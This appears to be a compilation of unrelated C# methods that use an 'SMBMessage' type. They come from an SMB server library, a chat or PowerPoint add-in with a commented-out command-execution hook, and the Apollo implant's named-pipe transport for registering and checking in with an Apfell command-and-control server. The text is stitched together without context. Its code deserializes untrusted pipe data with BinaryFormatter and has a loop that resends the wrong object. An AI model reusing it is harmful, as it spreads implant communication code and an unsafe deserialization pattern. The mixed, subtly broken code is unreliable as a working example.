public SMBMessage ReadMessage() { // Method 1 SMBMessage message = new SMBMessage(); try { DebugWriteLine($"Acquiring lock to read message..."); readMutex.WaitOne(); DebugWriteLine($"SUCCESS! Acquired lock to read message!"); DebugWriteLine($"Attempting to deserialize message from the client stream {PipeName}..."); message = (SMBMessage)bf.Deserialize(clientStream); DebugWriteLine($"SUCCESS! Deserialized message from the client stream {PipeName}!"); } catch (System.Runtime.Serialization.SerializationException ex) { DebugWriteLine($"ERROR! SerializationException while reading message.\n\tReason: {ex.Message}\n\tStackTrace: {ex.StackTrace}"); throw ex; } catch (Exception ex) { DebugWriteLine($"ERROR! Failed to read message.\n\tReason: {ex.Message}\n\tStackTrace: {ex.StackTrace}"); } finally { readMutex.ReleaseMutex(); } return(message); }
public static void TrySendMessage(Socket serverSocket, SMBCommand request) { SMBMessage message = new SMBMessage(); message.Commands.Add(request); TrySendMessage(serverSocket, message); }
public static void TrySendMessage(Socket serverSocket, SMBMessage message) { SessionMessagePacket packet = new SessionMessagePacket(); packet.Trailer = message.GetBytes(); TrySendPacket(serverSocket, packet); }
public bool SendMessage(SMBMessage message) { bool bRet; SMBMessage[] messages; if (SMBMessage.RequiresChunking(((byte[])message.MessageObject).Length)) { messages = SMBMessage.CreateChunkedMessages((byte[])message.MessageObject); } else { messages = new SMBMessage[] { message }; } try { writeMutex.WaitOne(); foreach (var msg in messages) { bf.Serialize(serverStream, message); serverStream.WaitForPipeDrain(); } bRet = true; } catch (Exception ex) { bRet = false; } finally { writeMutex.ReleaseMutex(); } return(bRet); }
public void onSMBReceived(SMBMessage smbMsg) { // 接收并处理消息的函数,将作为回调函数传给底层,参见 Connect(...)方法 if (smbMsg != null) { String strMsg = smbMsg.strSender + ":"; if (smbMsg.strLocation != null) { // 位置信息 strMsg += "&"+smbMsg.strLocation+"&"; } if (smbMsg.strSms != null) { // 文字信息 strMsg += smbMsg.strSms; } if (smbMsg.strCommand != null) //if ((strMsg.Length>2)&(strMsg.Substring(0,1)=="^")) { //控制命令 //string strResult = "EXEC Result: " + CSMBCMD.ExecCMD(smbMsg.strCommand); //PublishText(strResult); } m_Panel.onSMBReceived(smbMsg); //invoke( System.Console.WriteLine(strMsg); // 在此仅仅简单地在命令行窗口中输出信息而已 } }
public void ProcessMessage(SMBMessage message, StateObject state) { SMBMessage reply = new SMBMessage(); PrepareResponseHeader(reply, message); List <SMBCommand> sendQueue = new List <SMBCommand>(); foreach (SMBCommand command in message.Commands) { SMBCommand response = ProcessCommand(reply.Header, command, state, sendQueue); if (response != null) { reply.Commands.Add(response); } if (reply.Header.Status != NTStatus.STATUS_SUCCESS) { break; } } if (reply.Commands.Count > 0) { TrySendMessage(state, reply); foreach (SMBCommand command in sendQueue) { SMBMessage secondaryReply = new SMBMessage(); secondaryReply.Header = reply.Header; secondaryReply.Commands.Add(command); TrySendMessage(state, secondaryReply); } } }
private static void PrepareResponseHeader(SMBMessage response, SMBMessage request) { response.Header.Status = NTStatus.STATUS_SUCCESS; response.Header.Flags = HeaderFlags.CaseInsensitive | HeaderFlags.CanonicalizedPaths | HeaderFlags.Reply; response.Header.Flags2 = HeaderFlags2.NTStatusCode; if ((request.Header.Flags2 & HeaderFlags2.LongNamesAllowed) > 0) { response.Header.Flags2 |= HeaderFlags2.LongNamesAllowed | HeaderFlags2.LongNameUsed; } if ((request.Header.Flags2 & HeaderFlags2.ExtendedAttributes) > 0) { response.Header.Flags2 |= HeaderFlags2.ExtendedAttributes; } if ((request.Header.Flags2 & HeaderFlags2.ExtendedSecurity) > 0) { response.Header.Flags2 |= HeaderFlags2.ExtendedSecurity; } if ((request.Header.Flags2 & HeaderFlags2.Unicode) > 0) { response.Header.Flags2 |= HeaderFlags2.Unicode; } response.Header.MID = request.Header.MID; response.Header.PID = request.Header.PID; response.Header.UID = request.Header.UID; response.Header.TID = request.Header.TID; }
public static void TrySendMessage(StateObject state, SMBMessage reply) { SessionMessagePacket packet = new SessionMessagePacket(); packet.Trailer = reply.GetBytes(); TrySendPacket(state, packet); #if DEBUG Log("[{0}] Reply sent: {1} Commands, First Command: {2}, Packet length: {3}", DateTime.Now.ToString("HH:mm:ss:ffff"), reply.Commands.Count, reply.Commands[0].CommandName.ToString(), packet.Length); #endif }
public string ReadStringMessage() { SMBMessage msg = ReadMessage(); string result = ""; if (msg != null && msg.MessageObject != null) { result = Encoding.UTF8.GetString((byte[])msg.MessageObject); } return(result); }
private void ReadAndSortMessages() { SMBMessage recvMsg; string result = ""; Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); while (true) { try { DebugWriteLine($"Waiting for a new message from named pipe {PipeName}..."); recvMsg = ReadMessage(); DebugWriteLine($"Got a new message from named pipe {PipeName}!"); if (recvMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)recvMsg; if (!chunkedMessages.ContainsKey(recvMsg.MessageID)) { chunkedMessages[recvMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[recvMsg.MessageID].Add(recvMsg); if (chunkedMessages[recvMsg.MessageID].Count == recvMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[recvMsg.MessageID]); chunkedMessages.Remove(recvMsg.MessageID); result = base.cryptor.Decrypt(Encoding.UTF8.GetString(fullMessage)); } } else { result = base.cryptor.Decrypt(Encoding.UTF8.GetString((byte[])recvMsg.MessageObject)); } if (result != "") { SortMessages(result); } } catch (System.Runtime.Serialization.SerializationException ex) { DebugWriteLine($"Serialization error attempting to read message from pipe {ex.Message}\n\tStackTrace: {ex.StackTrace}"); ForceStopAgent(); break; } catch (Exception ex) { DebugWriteLine($"Unknown error occurred. Reason: {ex.Message}, StackTrace:\n{ex.StackTrace}"); } finally { recvMsg = null; result = ""; } } }
public void ProcessPacket(byte[] packetBytes, StateObject state) { SessionPacket packet = null; #if DEBUG packet = SessionPacket.GetSessionPacket(packetBytes); #else try { packet = SessionPacket.GetSessionPacket(packetBytes); } catch (Exception) { state.ClientSocket.Close(); return; } #endif if (packet is SessionRequestPacket && m_transport == SMBTransportType.NetBiosOverTCP) { PositiveSessionResponsePacket response = new PositiveSessionResponsePacket(); TrySendPacket(state, response); } else if (packet is SessionKeepAlivePacket && m_transport == SMBTransportType.NetBiosOverTCP) { // [RFC 1001] NetBIOS session keep alives do not require a response from the NetBIOS peer } else if (packet is SessionMessagePacket) { SMBMessage message = null; #if DEBUG message = SMBMessage.GetSMBMessage(packet.Trailer); Log("[{0}] Message Received: {1} Commands, First Command: {2}, Packet length: {3}", DateTime.Now.ToString("HH:mm:ss:ffff"), message.Commands.Count, message.Commands[0].CommandName.ToString(), packet.Length); #else try { message = SMBMessage.GetSMBMessage(packet.Trailer); } catch (Exception) { state.ClientSocket.Close(); return; } #endif ProcessMessage(message, state); } else { #if DEBUG Log("[{0}] Invalid NetBIOS packet", DateTime.Now.ToString("HH:mm:ss:ffff")); #endif state.ClientSocket.Close(); return; } }
private static object ParseMessage(SMBMessage msg) { if (msg == null) { return(null); } switch (msg.MessageType) { case "Apollo.Jobs.Job": return((Job)msg.MessageObject); case "Apollo.Tasks.Task": return((Task)msg.MessageObject); default: return(msg.MessageObject); } }
public void onSMBReceived(SMBMessage smbMsg) { //textMsg.Text += "\r\n收到>--"; //+ smbMsg.strSms; string msg = smbMsg.strSms; textStatus.Text = "收到:" + msg; SetText("\r\n收到>--" + msg); if (msg == "show") { //if (Globals.ThisAddIn.Application.Presentations.Count >= 1) //{ // PowerPoint.Presentation pr = Globals.ThisAddIn.Application.Presentations._Index(1); // pr.SlideShowSettings.Run(); // //pr.SlideShowSettings.n //} } }
public bool Send(SMBMessage sendMsg) { bool bRet; writeMutex.WaitOne(); try { bf.Serialize(serverStream, sendMsg); bRet = true; } catch (Exception ex) { bRet = false; } finally { writeMutex.ReleaseMutex(); } return(bRet); }
public override bool Send(string id, string message) { DebugWriteLine($"Encrypting MessageID {id} ({message.Length} bytes)..."); byte[] reqPayload = Encoding.UTF8.GetBytes(cryptor.Encrypt(message)); DebugWriteLine($"SUCCESS! Encrypted MessageID {id} ({message.Length} bytes)"); SMBMessage[] messages; if (SMBMessage.RequiresChunking(reqPayload.Length)) { messages = SMBMessage.CreateChunkedMessages(reqPayload); } else { messages = new SMBMessage[] { new SMBMessage() { MessageType = "", MessageObject = reqPayload } }; } try { DebugWriteLine($"Acquiring send message lock to send Message {id}..."); writeMutex.WaitOne(); DebugWriteLine($"LOCK ACQUIRED! Sending {messages.Length} SMB messages associated message inbox {id}..."); int i = 0; foreach (var msg in messages) { bf.Serialize(serverStream, msg); serverStream.Flush(); serverStream.WaitForPipeDrain(); i++; DebugWriteLine($"Sent {i} of {messages.Length} SMB messages attached to Inbox ID {id} to {PipeName}"); } //result = ReadDecryptedStringMessage(); } finally { writeMutex.ReleaseMutex(); } return(true); }
public override void ReadMessagesFromProducer(string registrationGuidMsgID) { string producerMessage = ""; SMBMessage smbMsg = new SMBMessage(); Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); DebugWriteLine($"New UUID Registration for Agent will have Message ID: {registrationGuidMsgID}"); DebugWriteLine($"Beginning loop to read messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); while (MessageProducer.IsConnected() && !StopAllThreads) { try { DebugWriteLine($"Waiting to read message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); smbMsg = MessageProducer.ReadMessage(); DebugWriteLine($"SUCCESS! Got a message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}!"); if (smbMsg != null && smbMsg.MessageObject != null) { DebugWriteLine($"Message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} was non-null."); if (smbMsg.MessageType == "uuid_registration") { DebugWriteLine($"UUID Registration message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} received!"); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); // This should pop twice. First on initial connect, then second on received UUID AgentUUID = producerMessage; DebugWriteLine($"Set AgentUUID to {AgentUUID}. Adding registration message to inbox with message ID {registrationGuidMsgID}..."); Inbox.AddMessage(registrationGuidMsgID, producerMessage); DebugWriteLine($"SUCCESS! Added registration message to inbox with message ID {registrationGuidMsgID}"); } else if (smbMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)smbMsg; if (!chunkedMessages.ContainsKey(smbMsg.MessageID)) { chunkedMessages[smbMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[smbMsg.MessageID].Add(smbMsg); if (chunkedMessages[smbMsg.MessageID].Count == smbMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[smbMsg.MessageID]); chunkedMessages.Remove(smbMsg.MessageID); producerMessage = Encoding.UTF8.GetString(fullMessage); AddMessageToRequestQueue(producerMessage); } } else { DebugWriteLine($"Adding new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue..."); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); AddMessageToRequestQueue(producerMessage); DebugWriteLine($"SUCCESS! Added new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue."); } } } catch (Exception ex) { DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}"); StopAllThreads = true; } finally { producerMessage = ""; smbMsg = null; //Thread.Sleep(SleepTime); } } DebugWriteLine($"Stopped reading messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); }
public override string RegisterAgent(Apollo.Agent agent) { // Get JSON string for implant string json = JsonConvert.SerializeObject(agent); byte[] reqPayload = Encoding.UTF8.GetBytes(base.cryptor.Encrypt(json)); if (holdConnection) { serverStream.Close(); serverStream = CreateNamedPipeServer(); holdConnection = false; } serverStream.WaitForConnection(); holdConnection = true; Thread t = new Thread(() => ReadAndSortMessages()); t.Start(); SMBMessage uuidRegistration = new SMBMessage() { MessageType = "uuid_registration", MessageObject = base.cryptor.GetUUIDBytes() }; // This is the payload uuid, so we need to stage and get the new one if (base.cryptor.GetUUIDString() == baseUUID) { //uuidRegistration.MessageType = "staging_uuid_registration"; uuidRegistration.MessageObject = Encoding.UTF8.GetBytes("staging-" + base.cryptor.GetUUIDString()); SMBMessage registerMsg = new SMBMessage() { MessageType = "register", MessageObject = reqPayload }; // Get JSON string for implant //string result = Send(registrationId, registerMsg); string result; DebugWriteLine($"Sending uuid_registration message to client..."); Send(uuidRegistration); DebugWriteLine($"SUCCESS! Sent uuid_registration message!"); DebugWriteLine($"Sending Apfell registration message to client..."); if (Send(registerMsg)) { DebugWriteLine($"SUCCESS! Sent Apfell registration message!"); DebugWriteLine($"Waiting for initial checkin response from Apfell server..."); result = (string)Inbox.GetMessage("checkin"); DebugWriteLine($"SUCCESS! Got initial checkin response from Apfell server!\n\t{result}"); if (result.Contains("success")) { // If it was successful, initialize implant // Response is { "status": "success", "id": <id> } JObject resultJSON = (JObject)JsonConvert.DeserializeObject(result); string newUUID = resultJSON.Value <string>("id"); base.cryptor.UpdateUUID(newUUID); SMBMessage notifyRelayMessage = new SMBMessage() { MessageType = "uuid_registration", MessageObject = Encoding.UTF8.GetBytes(newUUID) }; // Do something with bool? Send(notifyRelayMessage); return(newUUID); } else { throw (new Exception("Failed to retrieve an ID for new callback.")); } } return(""); } else { // we've already got an agent uuid, return that. Send(uuidRegistration); return(base.cryptor.GetUUIDString()); } }